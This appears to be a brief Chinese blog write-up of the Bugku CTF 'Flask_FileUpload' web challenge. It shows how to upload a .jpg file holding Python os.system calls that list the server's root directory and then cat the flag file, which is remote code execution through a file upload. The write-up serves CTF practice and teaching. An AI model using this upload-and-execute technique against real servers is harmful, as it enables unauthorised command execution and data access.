技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
何以解忧,唯有..
9 分钟前
Pydantic 介绍与使用:Python 数据校验的现代方案
数据库·python·microsoft
IT_陈寒
15 分钟前
Vite打包时的静态资源坑,我帮你踩过了
前端·人工智能·后端
又幸福了哥
1 小时前
Python入门到高级(知识点七)
python
又幸福了哥
2 小时前
Python入门到高级(知识点六)
python
默_笙
2 小时前
🔥 让 AI 帮我写完整个 Next.js 博客:框架就是 AI 的"上下文 buff"
前端·javascript
维克兜率天
2 小时前
【维克】动量指标家族:RSI、ROC、CCI、Momentum全面解析
python·算法
牧艺
2 小时前
登录页还在用渐变?我一口气做了 5 个能摸的背景动效:吹蒲公英、滴墨染水、点熔岩闷裂
前端·canvas·交互设计
陆枫Larry
2 小时前
状态机简介
前端
陆枫Larry
2 小时前
一次登录问题排查:接口没错,错的是旧业务逻辑
前端
小小小小宇
3 小时前
大模型打分与采样原理,以及 Pi Agent 核心原理
前端
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)02ZCode 周末送额度活动开启:3 亿 Token 免费领取03GitHub 镜像站点04历年考研数学一、数学二、数学三真题试卷及答案PDF052026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?06微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新07蜘蛛磁力 搜索引擎大全,如何使用蜘蛛磁力查找磁力链接08Agnes AI 免费 API 接入指南:文本、生图、生视频,一套接口全免费09AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路10VSCode+CodeX扩展,无法启动